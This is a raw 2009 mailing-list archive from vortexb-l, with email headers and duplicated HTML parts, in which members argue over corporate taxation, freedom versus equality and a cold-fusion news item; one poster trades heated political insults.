Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable What do you think happens to corporate profits? On Mon, Jun 1, 2009 at 1:57 AM, leaking pen wrote: > most of those services TO corporations. > > No, costs wont rise much, profits at the corporate level will go down. > When a company saves 100 million by getting the goverment to pay for > their new facility, do you think it comes off of prices? hell no. > > also, tax loopholes for corporations ... > > http://uprisingradio.org/home/?p=3D7210 > > an article that estimates "loopholes and havens" are costing the gov > 100 billion a year in corporate tax. > > heres income currently based on the goverments own numbers , numbers > in millions of dollars. > 2008, private income tax. 1,163,472 > corporate income tax 370,243 > > whos paying the most? ohh, and all that spending, does it go straight > to people? no, most of it goes to businesses in the form of grants. > the military budget is immense, and who gets that money? halliburton > and defense contractors. > > Many people will point out that health and human services is as big a > piece of the pie. But thats mostly social security, paid for by > social security insurance payments and medicare paid for by medicare > payments on payrolls, seperate of the straight income tax. Thats paid > half and half by companies and the employees, except for self > employed. the numbers (again in millions) of receipts? 869,607 > > these numbers from this link, btw. > http://www.gpoaccess.gov/usbudget/fy09/hist.html > > On Sun, May 31, 2009 at 9:28 PM, Charles HOPE > wrote: > > Your taxes aren't high because of corporate tax breaks but the myriad > > services government is expected to provide. Our domestic spending is > > ridiculous, and we are paying for 700 foreign army bases in 130 > countries. > > If corporations were taxed, it would do nothing raise prices for > consumers. > > > > > > > > > > On Sun, May 31, 2009 at 2:39 AM, leaking pen wrote= : > >> > >> Except that teh companies are getting that money FROM the government. > >> Its the same money. if companies werent getting these exorbitant > >> bonueses and kickbacks and breaks, income tax wouldn't be as high. as > >> for tax amount, i would LOVE if my taxes were 50 percent. To even > >> reach that point, it would mean, after taxes, i was taking home about > >> 10 times what i do now. > >> > >> On Sat, May 30, 2009 at 8:25 PM, Charles HOPE > >> wrote: > >> > Is it really possible that employers extract more than the governmen= t > >> > does? > >> > If the accounting is performed, I'm sure you'll find employer > extraction > >> > of > >> > surplus (even in a zero-sum system) much less than the ~50% extracte= d > by > >> > government in direct taxes and indirect inflation. Government is the > >> > super-exploiter. > >> > > >> > > >> > On Fri, May 29, 2009 at 10:23 AM, leaking pen > >> > wrote: > >> >> > >> >> THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! > >> >> > >> >> How is it not? Employers, the big ones, get corporate tax breaks, > >> >> government kickbacks for building and bringing in jobs and "boostin= g > >> >> the economy". Roads that are mostly used and used up by freight > >> >> trucks are paid for and repaired by funds that come from the averag= e > >> >> citizen, especially taxes on gasoline (which, being a business make= s > >> >> you immune to such taxes). Large companies get a po box in the > >> >> caymans that protects them from additional tax. How is large scale > >> >> employers, making billions in profit a yeah, basically cheating the > >> >> system to not pay taxes on money they would never have made without > >> >> the governments help in the first place, and that cost then being > >> >> passed on to the rest of us, NOT exploitation by the employer? > >> >> > >> >> and thats before we talk about companies like walmart, that make su= re > >> >> most of their employees are just part time enough to never get > >> >> benefits, but then hire a person to help their employees enroll in > >> >> medicaid, rather than having medical insurance plans available... > >> >> > >> >> On Fri, May 29, 2009 at 7:12 AM, Jeff Fink wrote: > >> >> > When you have equality of opportunity, some will act on the > >> >> > opportunity > >> >> > and > >> >> > some will not. The industrious will prosper more than the lazy. > >> >> > Some > >> >> > on > >> >> > this forum will say that the resulting disparity in wealth is > unfair, > >> >> > and > >> >> > that the wealth of the industrious individuals must be taken and > >> >> > given > >> >> > to > >> >> > those who have less. This process is a move toward equalizing > >> >> > outcome, > >> >> > and > >> >> > is embodied by the graduated income tax system, where achievers a= re > >> >> > liberated of their achievement at an ever higher percentage based > on > >> >> > their > >> >> > success. > >> >> > > >> >> > Some of the needy truly need help, but many are merely milking th= e > >> >> > system. > >> >> > > >> >> > Where is freedom if hard working people are looted to give free > rides > >> >> > to > >> >> > slackers. We hear the Marxist axiom "From him according to his > >> >> > ability > >> >> > to > >> >> > him according to his need." How much can you bleed the workers wi= th > >> >> > taxes > >> >> > before they revolt. The US worker is not unhappy about the size = of > >> >> > his > >> >> > paycheck as much as he is unhappy about how little of it he is > >> >> > allowed > >> >> > to > >> >> > keep. THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER! > >> >> > > >> >> > If we are truly free, some people will outperform others. If we > are > >> >> > forced > >> >> > to be equal (equal pay for unequal effort), nobody gets ahead, we > all > >> >> > give > >> >> > up trying. The result is not sharing the wealth, but equally > sharing > >> >> > the > >> >> > misery. > >> >> > > >> >> > In a planned economy, who gets to do the planning? Who does all > the > >> >> > work? > >> >> > It has always been and always will be the case that the quality o= f > >> >> > life > >> >> > of > >> >> > the planners will be far better than the life of the planee. The= re > >> >> > will > >> >> > be > >> >> > no equality between these two groups. Central planning means mic= ro > >> >> > managing, which is inefficient, error prone, and ultimately > punishes > >> >> > achievers. > >> >> > > >> >> > Jeff. > >> >> > > >> >> > -----Original Message----- > >> >> > From: leaking pen [mailto:itsatrap@gmail.com] > >> >> > Sent: Thursday, May 28, 2009 4:59 PM > >> >> > To: vortexb-l@eskimo.com > >> >> > Subject: Re: [VoB]:freedom and/or equality > >> >> > > >> >> > No, as all rights automatically include a duty with them. If > >> >> > everyone > >> >> > has the right to free speech, then everyone automatically has a > duty > >> >> > to protect and not infringe anothers free speech. Ethics 101 my > man. > >> >> > > >> >> > On Thu, May 28, 2009 at 1:19 PM, Jeff Fink wrote= : > >> >> >> The only thing I see as the difference after checking my > dictionary > >> >> >> is > >> >> > that > >> >> >> an opportunity is a chance whereas a liberty is supposed to be a > >> >> >> right. > >> >> > As > >> >> >> rights go, what we have on paper and what we have in actuality i= s > >> >> >> not > >> >> >> necessarily the same. > >> >> >> > >> >> >> Have you considered the possibility that freedom and equality ar= e > >> >> >> mutually > >> >> >> exclusive concepts. > >> >> >> > >> >> >> Jeff > >> >> >> > >> >> >> -----Original Message----- > >> >> >> From: leaking pen [mailto:itsatrap@gmail.com] > >> >> >> Sent: Thursday, May 28, 2009 1:19 PM > >> >> >> To: vortexb-l@eskimo.com > >> >> >> Subject: Re: [VoB]:freedom and/or equality > >> >> >> > >> >> >> This. I fail to see a difference. > >> >> >> > >> >> >> On Thu, May 28, 2009 at 10:12 AM, Jeff Fink > wrote: > >> >> >>> What is the difference between opportunity and liberty in your > >> >> >>> opinion? > >> >> >>> > >> >> >>> Jeff > >> >> >>> > >> >> >>> -----Original Message----- > >> >> >>> From: Harry Veeder [mailto:hveeder@ncf.ca] > >> >> >>> Sent: Thursday, May 28, 2009 12:16 PM > >> >> >>> To: vortexb-l@eskimo.com > >> >> >>> Subject: Re: [VoB]:freedom and/or equality > >> >> >>> > >> >> >>> neither. > >> >> >>> I prefer equal liberty. > >> >> >>> > >> >> >>> Harry > >> >> >>> > >> >> >>> ----- Original Message ----- > >> >> >>> From: Jeff Fink > >> >> >>> Date: Thursday, May 28, 2009 11:31 am > >> >> >>> Subject: [VoB]:freedom and/or equality > >> >> >>> > >> >> >>>> Would you prefer to live in a society that guarantees equal > >> >> >>>> opportunity, or > >> >> >>>> one that guarantees equal outcome? > >> >> >>>> > >> >> >>>> > >> >> >>>> > >> >> >>>> Jeff > >> >> >>>> > >> >> >>>> > >> >> >>> > >> >> >>> > >> >> >>> > >> >> >>> > >> >> >> > >> >> >> > >> >> >> > >> >> >> > >> >> > > >> >> > > >> >> > > >> >> > > >> >> > >> > > >> > > >> > > >> > -- > >> > Never did I see a second sun > >> > Never did my skin touch a land of glass > >> > Never did my rifle point but true > >> > But in a land empty of enemies > >> > Waiting for the tick-tick-tick of the want > >> > A uranium angel > >> > Crying =93behold,=94 > >> > This land that knew fire is yours > >> > Taken from Corruption > >> > To begin anew > >> > > >> > > > > > > > > -- > > Never did I see a second sun > > Never did my skin touch a land of glass > > Never did my rifle point but true > > But in a land empty of enemies > > Waiting for the tick-tick-tick of the want > > A uranium angel > > Crying =93behold,=94 > > This land that knew fire is yours > > Taken from Corruption > > To begin anew > > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001517478be8486636046b527988 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable What do you think happens to corporate profits?


On Mon, Jun 1, 2009 at 1:57 AM, leaking pen &l= t;itsatrap@gmail.com> w= rote:
most of those ser= vices TO corporations.

No, costs wont rise much, profits at the corporate level will go down.
=A0When a company saves 100 million by getting the goverment to pay for
their new facility, do you think it comes off of prices? =A0hell no.

also, tax loopholes for corporations ...

http:= //uprisingradio.org/home/?p=3D7210

an article that estimates "loopholes and havens" are costing the = gov
100 billion a year in corporate tax.

heres income currently based on the goverments own numbers , numbers
in millions of dollars.
2008, private income tax. =A0 1,163,472
corporate income tax =A0370,243

whos paying the most? =A0ohh, and all that spending, does it go straight to people? =A0no, most of it goes to businesses in the form of grants.
the military budget is immense, and who gets that money? =A0halliburton
and defense contractors.

Many people will point out that health and human services is as big a
piece of the pie. =A0But thats mostly social security, paid for by
social security insurance payments and medicare paid for by medicare
payments on payrolls, seperate of the straight income tax. =A0Thats paid half and half by companies and the employees, except for self
employed. =A0the numbers (again in millions) of receipts? =A0869,607

these numbers from this link, btw.
http://www.gpoaccess.gov/usbudget/fy09/hist.html

On Sun, May 31, 2009 at 9:28 PM, Charles HOPE
<lookslikeiwasright@gmail.com> wrote:
> Your taxes aren't high because of corporate tax breaks but the myr= iad
> services government is expected to provide. Our domestic spending is > ridiculous, and we are paying for 700 foreign army bases in 130 countr= ies.
> If corporations were taxed, it would do nothing raise prices for consu= mers.
>
>
>
>
> On Sun, May 31, 2009 at 2:39 AM, leaking pen <itsatrap@gmail.com> wrote:
>>
>> Except that teh companies are getting that money FROM the governme= nt.
>> Its the same money. if companies werent getting these exorbitant >> bonueses and kickbacks and breaks, income tax wouldn't be as h= igh. as
>> for tax amount, i would LOVE if my taxes were 50 percent. =A0To ev= en
>> reach that point, it would mean, after taxes, i was taking home ab= out
>> 10 times what i do now.
>>
>> On Sat, May 30, 2009 at 8:25 PM, Charles HOPE
>> <lookslikeiwasr= ight@gmail.com> wrote:
>> > Is it really possible that employers extract more than the go= vernment
>> > does?
>> > If the accounting is performed, I'm sure you'll find = employer extraction
>> > of
>> > surplus (even in a zero-sum system) much less than the ~50% e= xtracted by
>> > government in direct taxes and indirect inflation. Government= is the
>> > super-exploiter.
>> >
>> >
>> > On Fri, May 29, 2009 at 10:23 AM, leaking pen <itsatrap@gmail.com>
>> > wrote:
>> >>
>> >> THE PROBLEM IS NOT EXPLOITATION BY THE EMPLOYER!
>> >>
>> >> How is it not? =A0Employers, the big ones, get corporate = tax breaks,
>> >> government kickbacks for building and bringing in jobs an= d "boosting
>> >> the economy". =A0Roads that are mostly used and used= up by freight
>> >> trucks are paid for and repaired by funds that come from = the average
>> >> citizen, especially taxes on gasoline (which, being a bus= iness makes
>> >> you immune to such taxes). =A0Large companies get a po bo= x in the
>> >> caymans that protects them from additional tax. =A0How is= large scale
>> >> employers, making billions in profit a yeah, basically ch= eating the
>> >> system to not pay taxes on money they would never have ma= de without
>> >> the governments help in the first place, and that cost th= en being
>> >> passed on to the rest of us, NOT exploitation by the empl= oyer?
>> >>
>> >> and thats before we talk about companies like walmart, th= at make sure
>> >> most of their employees are just part time enough to neve= r get
>> >> benefits, but then hire a person to help their employees = enroll in
>> >> medicaid, rather than having medical insurance plans avai= lable...
>> >>
>> >> On Fri, May 29, 2009 at 7:12 AM, Jeff Fink <revtec@ptd.net> wrote:
>> >> > When you have equality of opportunity, some will act= on the
>> >> > opportunity
>> >> > and
>> >> > some will not. =A0The industrious will prosper more = than the lazy.
>> >> > =A0Some
>> >> > on
>> >> > this forum will say that the resulting disparity in = wealth is unfair,
>> >> > and
>> >> > that the wealth of the industrious individuals must = be taken and
>> >> > given
>> >> > to
>> >> > those who have less. =A0This process is a move towar= d equalizing
>> >> > outcome,
>> >> > and
>> >> > is embodied by the graduated income tax system, wher= e achievers are
>> >> > liberated of their achievement at an ever higher per= centage based on
>> >> > their
>> >> > success.
>> >> >
>> >> > Some of the needy truly need help, but many are mere= ly milking the
>> >> > system.
>> >> >
>> >> > Where is freedom if hard working people are looted t= o give free rides
>> >> > to
>> >> > slackers. =A0We hear the Marxist axiom "From hi= m according to his
>> >> > ability
>> >> > to
>> >> > him according to his need." How much can you bl= eed the workers with
>> >> > taxes
>> >> > before they revolt. =A0The US worker is not unhappy = about the size of
>> >> > his
>> >> > paycheck as much as he is unhappy about how little o= f it he is
>> >> > allowed
>> >> > to
>> >> > keep. =A0THE PROBLEM IS NOT EXPLOITATION BY THE EMPL= OYER!
>> >> >
>> >> > If we are truly free, some people will outperform ot= hers. =A0If we are
>> >> > forced
>> >> > to be equal (equal pay for unequal effort), nobody g= ets ahead, we all
>> >> > give
>> >> > up trying. =A0The result is not sharing the wealth, = but equally sharing
>> >> > the
>> >> > misery.
>> >> >
>> >> > In a planned economy, who gets to do the planning? = =A0Who does all the
>> >> > work?
>> >> > It has always been and always will be the case that = the quality of
>> >> > life
>> >> > of
>> >> > the planners will be far better than the life of the= planee. =A0There
>> >> > will
>> >> > be
>> >> > no equality between these two groups. =A0Central pla= nning means micro
>> >> > managing, which is inefficient, error prone, and ult= imately punishes
>> >> > achievers.
>> >> >
>> >> > Jeff.
>> >> >
>> >> > -----Original Message-----
>> >> > From: leaking pen [mailto:itsatrap@gmail.com]
>> >> > Sent: Thursday, May 28, 2009 4:59 PM
>> >> > To: vortexb-= l@eskimo.com
>> >> > Subject: Re: [VoB]:freedom and/or equality
>> >> >
>> >> > No, as all rights automatically include a duty with = them. =A0If
>> >> > everyone
>> >> > has the right to free speech, then everyone automati= cally has a duty
>> >> > to protect and not infringe anothers free speech. = =A0Ethics 101 my man.
>> >> >
>> >> > On Thu, May 28, 2009 at 1:19 PM, Jeff Fink <revtec@ptd.net> wrote:
>> >> >> The only thing I see as the difference after che= cking my dictionary
>> >> >> is
>> >> > that
>> >> >> an opportunity is a chance whereas a liberty is = supposed to be a
>> >> >> right.
>> >> > =A0As
>> >> >> rights go, what we have on paper and what we hav= e in actuality is
>> >> >> not
>> >> >> necessarily the same.
>> >> >>
>> >> >> Have you considered the possibility that freedom= and equality are
>> >> >> mutually
>> >> >> exclusive concepts.
>> >> >>
>> >> >> Jeff
>> >> >>
>> >> >> -----Original Message-----
>> >> >> From: leaking pen [mailto:itsatrap@gmail.com]
>> >> >> Sent: Thursday, May 28, 2009 1:19 PM
>> >> >> To: vort= exb-l@eskimo.com
>> >> >> Subject: Re: [VoB]:freedom and/or equality
>> >> >>
>> >> >> This. =A0I fail to see a difference.
>> >> >>
>> >> >> On Thu, May 28, 2009 at 10:12 AM, Jeff Fink <= revtec@ptd.net> wrote:
>> >> >>> What is the difference between opportunity a= nd liberty in your
>> >> >>> opinion?
>> >> >>>
>> >> >>> Jeff
>> >> >>>
>> >> >>> -----Original Message-----
>> >> >>> From: Harry Veeder [mailto:hveeder@ncf.ca]
>> >> >>> Sent: Thursday, May 28, 2009 12:16 PM
>> >> >>> To: = vortexb-l@eskimo.com
>> >> >>> Subject: Re: [VoB]:freedom and/or equality >> >> >>>
>> >> >>> neither.
>> >> >>> I prefer equal liberty.
>> >> >>>
>> >> >>> Harry
>> >> >>>
>> >> >>> ----- Original Message -----
>> >> >>> From: Jeff Fink <revtec@ptd.net>
>> >> >>> Date: Thursday, May 28, 2009 11:31 am
>> >> >>> Subject: [VoB]:freedom and/or equality
>> >> >>>
>> >> >>>> Would you prefer to live in a society th= at guarantees equal
>> >> >>>> opportunity, or
>> >> >>>> one that guarantees equal outcome?
>> >> >>>>
>> >> >>>>
>> >> >>>>
>> >> >>>> Jeff
>> >> >>>>
>> >> >>>>
>> >> >>>
>> >> >>>
>> >> >>>
>> >> >>>
>> >> >>
>> >> >>
>> >> >>
>> >> >>
>> >> >
>> >> >
>> >> >
>> >> >
>> >>
>> >
>> >
>> >
>> > --
>> > Never did I see a second sun
>> > Never did my skin touch a land of glass
>> > Never did my rifle point but true
>> > But in a land empty of enemies
>> > Waiting for the tick-tick-tick of the want
>> > A uranium angel
>> > Crying =93behold,=94
>> > This land that knew fire is yours
>> > Taken from Corruption
>> > To begin anew
>> >
>>
>
>
>
> --
> Never did I see a second sun
> Never did my skin touch a land of glass
> Never did my rifle point but true
> But in a land empty of enemies
> Waiting for the tick-tick-tick of the want
> A uranium angel
> Crying =93behold,=94
> This land that knew fire is yours
> Taken from Corruption
> To begin anew
>




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001517478be8486636046b527988-- From vortexb-l-request@eskimo.com Mon Jun 1 17:23:54 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n520NqKZ026501; Mon, 1 Jun 2009 17:23:52 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n520NpBi026490; Mon, 1 Jun 2009 17:23:51 -0700 Resent-Date: Mon, 1 Jun 2009 17:23:51 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=JUx8NrOKm5PJJogPQGe6wvgi6Si4nutMITDbzG6IzQs=; b=M3Rb4t9IO9W/4Ee+QsuvFTBlGeEC6+eg7jw9wumswr7e1LXgKnNKo55ZGdcF8EwIh8 d0p0YiUIbr8nEkw0Wjw4gPDoNgLgMV1qkfcuzLcsnEJYGMScY1OsQcjkKDW/25+GUxk4 vBttesMRiVv+a8lNX7iD/PjLRNyaEwZ0bsVt8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=JulKVukFmEgs6XNdCEfq5ViO4OW4MbWnfpl1Rinv521bG2FEB9G2u094vjqb76vkJZ HIh2UEI+gbKbcaF9FWD88V5rUb8z8OcYW5UYLkGfohQurLOgLzcdE5QtIbcwOe+I+bfk OL5kYVOEucwYKfpIPMSdBWLEDtxnXGUJOMDO8= MIME-Version: 1.0 In-Reply-To: <20090601212755.GC28660@shell.resist.ca> References: <7.0.1.0.2.20090601154204.03946e70@gmail.com> <20090601212755.GC28660@shell.resist.ca> From: Charles HOPE Date: Mon, 1 Jun 2009 20:23:30 -0400 Message-ID: <63ffa6020906011723w3a17ef6etfa1ae310b92e8375@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:Frank Gordon continues the crusade in San Diego To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0015174bf1fe90078c046b528e05 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4285 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 527 --0015174bf1fe90078c046b528e05 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable So what's your point? On Mon, Jun 1, 2009 at 5:27 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > So of course the REAL reason I was attacked on vortex-l is essentially > because most > of youse attackers are actually _on-side_ with U.S. imperialism, pure and > simple. > Whether it is because of your parochial and limited belief systems, or ju= st > because > of the promise of money, would be rather immaterial here... Point is: you > appear to > only be ikonoklasts when it comes to matters of fyzix. If that. > > > - -- grok. > > > > > As the smoke cleared, Jed Rothwell > mounted the barricade and roared out: > > > The man gets around. See: > > > > SPAWAR continues C4ISR, cold fusion, MEMS advancement for national > security > > > > By Courtney E. Howard > > > > SAN DIEGO, 1 June 2009. The 2009 Military & Aerospace Electronics Forum > > kicked off today with a keynote address by Dr. Frank Gordon, head of th= e > > Research and Applied Sciences Department at the U.S. Navy's Space and > > Naval Warfare Systems Command (SPAWAR) in San Diego. In his presentatio= n, > > titled "Challenges and Strategies for Integrating Next-generation > > Avionics and ATM Technology," Gordon discussed novel technologies upon > > which he and his SPAWAR colleagues are focused, including innovation to > > suppress improvised explosive devices (IEDs). > > > > > http://mae.pennnet.com/display_article/363737/32/ARTCL/none/ONEWS/1/SPAWA= R-continues-C4ISR,-cold-fusion,-MEMS-advancement-for-national-security/ > > > > - Jed > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkokR9sACgkQXo3EtEYbt3FEcgCg3kXwU4XZaT+Ci0GwCk8Sd1WP > vFsAn0Kwe/DeQyMULoSHKfXGKjlsDan6 > =3DN0R/ > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0015174bf1fe90078c046b528e05 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable So what's your point?

On Mon, Jun 1, = 2009 at 5:27 PM, grok <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


So of course the REAL reason I was attacked on vortex-l is essentially beca= use most
of youse attackers are actually _on-side_ with U.S. imperialism, pure and s= imple.
Whether it is because of your parochial and limited belief systems, or just= because
of the promise of money, would be rather immaterial here... Point is: you a= ppear to
only be ikonoklasts when it comes to matters of fyzix. If that.


- -- grok.




As the smoke cleared, Jed Rothwell <jedrothwell@gmail.com>
mounted the barricade and roared out:

> The man gets around. See:
>
> SPAWAR continues C4ISR, cold fusion, MEMS advancement for national sec= urity
>
> By Courtney E. Howard
>
> SAN DIEGO, 1 June 2009. The 2009 Military & Aerospace Electronics = Forum
> kicked off today with a keynote address by Dr. Frank Gordon, head of t= he
> Research and Applied Sciences Department at the U.S. Navy's Space = and
> Naval Warfare Systems Command (SPAWAR) in San Diego. In his presentati= on,
> titled "Challenges and Strategies for Integrating Next-generation=
> Avionics and ATM Technology," Gordon discussed novel technologies= upon
> which he and his SPAWAR colleagues are focused, including innovation t= o
> suppress improvised explosive devices (IEDs).
>
> http://mae.pennnet.com/display_article/363737= /32/ARTCL/none/ONEWS/1/SPAWAR-continues-C4ISR,-cold-fusion,-MEMS-advancemen= t-for-national-security/
>
> - Jed
>




- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkokR9sACgkQXo3EtEYbt3FEcgCg3kXwU4XZaT+Ci0GwCk8Sd1WP
vFsAn0Kwe/DeQyMULoSHKfXGKjlsDan6
=3DN0R/
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--0015174bf1fe90078c046b528e05-- From vortexb-l-request@eskimo.com Mon Jun 1 18:28:50 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n521Sm64012773; Mon, 1 Jun 2009 18:28:48 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n521ShEj012756; Mon, 1 Jun 2009 18:28:43 -0700 Resent-Date: Mon, 1 Jun 2009 18:28:43 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 1 Jun 2009 18:28:33 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:Frank Gordon continues the crusade in San Diego Message-ID: <20090602012833.GA4851@shell.resist.ca> Reply-To: grok@resist.ca References: <7.0.1.0.2.20090601154204.03946e70@gmail.com> <20090601212755.GC28660@shell.resist.ca> <63ffa6020906011723w3a17ef6etfa1ae310b92e8375@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020906011723w3a17ef6etfa1ae310b92e8375@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: surface-to-air, Project Integral, AH-64A Apache, nuclear bunker busters, Nazi skinhead User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <9sEYbC.A.JHD.LBIJKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4286 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 528 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > So what's your point? My point is that you-lot up my ass are hypocrites, and mostly tools of imperialism. As if you can even resonate at this frequency, you're so deep into it... Frankly I hope the World Depression demolishes your lives, as youse-all've done so many others over the decades and centuries, without the least thought or care; or you've paid mere lip service to the inhumanity you've profited-by, or shed only crocodile tears. Not truly a worthy thought on my part here; but hey -- I'm only human. My point is also that your Evil Masters fully intend a hat trick -- and aim to win WWIII, which is in the offing... Nothing doing, however: yousa-all are LOSING that one -- seeing too as how you really only cherry-picked the last two; and are insufferable braggarts about it all to boot. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkokgEEACgkQXo3EtEYbt3GhNACg0v17ljHiRcZ1Ag9GALwo1K6k A9UAnRWMEJkdk1z6Yrau9Fo6vN45atOV =Q0Pq -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 1 18:33:02 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n521Wv2A013515; Mon, 1 Jun 2009 18:32:57 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n521Wuwd013505; Mon, 1 Jun 2009 18:32:56 -0700 Resent-Date: Mon, 1 Jun 2009 18:32:56 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=ySv3RPaW6wPUhLiEHHluO9TOmd3x/Ndnc3ere372XpE=; b=dLZV9eJWMhML8qOriArCviGtmt2njt9453+lev/akOwg/9+3bgzmgEVAjsKtGg/3+8 YzBy1kzA6P9GZvoDoZbYpU8d1PALSNXGhoQwJqmxCY6u3FBCeOjK9/pH0awaCgjB16cJ Nnbqc3hpudarKo+dh3NmabdmJe+u2Wuu81oF8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=ihZHu/Ycez6uQ8YVLbNm7/MHPOrpoYLumKsHevSL0O+dTcWhgUkfUexBPsuNZnljtd bs+AP1EodsjOO6Ax7GuNndudM/ywGpPRwaAIKblTuQ//N6Z/o/wBwG8uoYB1zC9+h4jn 4us4Sm14tZj7zhjoUwNMto08XFM8d9JmjSR2M= MIME-Version: 1.0 In-Reply-To: <63ffa6020906011717l579426e9k4a7b14996f4668fc@mail.gmail.com> References: <298e62298947.298947298e62@ncf.ca> <63ffa6020905302025o47ea89e0y488c141e40ae6225@mail.gmail.com> <63ffa6020905312128t161cf947gbb50e908a065f7a1@mail.gmail.com> <63ffa6020906011717l579426e9k4a7b14996f4668fc@mail.gmail.com> Date: Mon, 1 Jun 2009 18:32:52 -0700 Message-ID: Subject: Re: [VoB]:freedom and/or equality From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4287 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 529 They get turned into bonuses for top level executives that already make the salary of 500 of the regular workers, or split up to stockholders, and in both cases usually get put away in trust funds, tax shelters, and luxury goods purchased from out of state or country in such ways that very little income tax is paid, and the money is taken out of the system, out of the economy, rather than being used to further the growth of the system via sales. What do YOU think happens to it? Im due to listen to a good fairy tale. On Mon, Jun 1, 2009 at 5:17 PM, Charles HOPE wrote: > What do you think happens to corporate profits? > > > On Mon, Jun 1, 2009 at 1:57 AM, leaking pen wrote: >> >> most of those services TO corporations. >> >> No, costs wont rise much, profits at the corporate level will go down. >> When a company saves 100 million by getting the goverment to pay for >> their new facility, do you think it comes off of 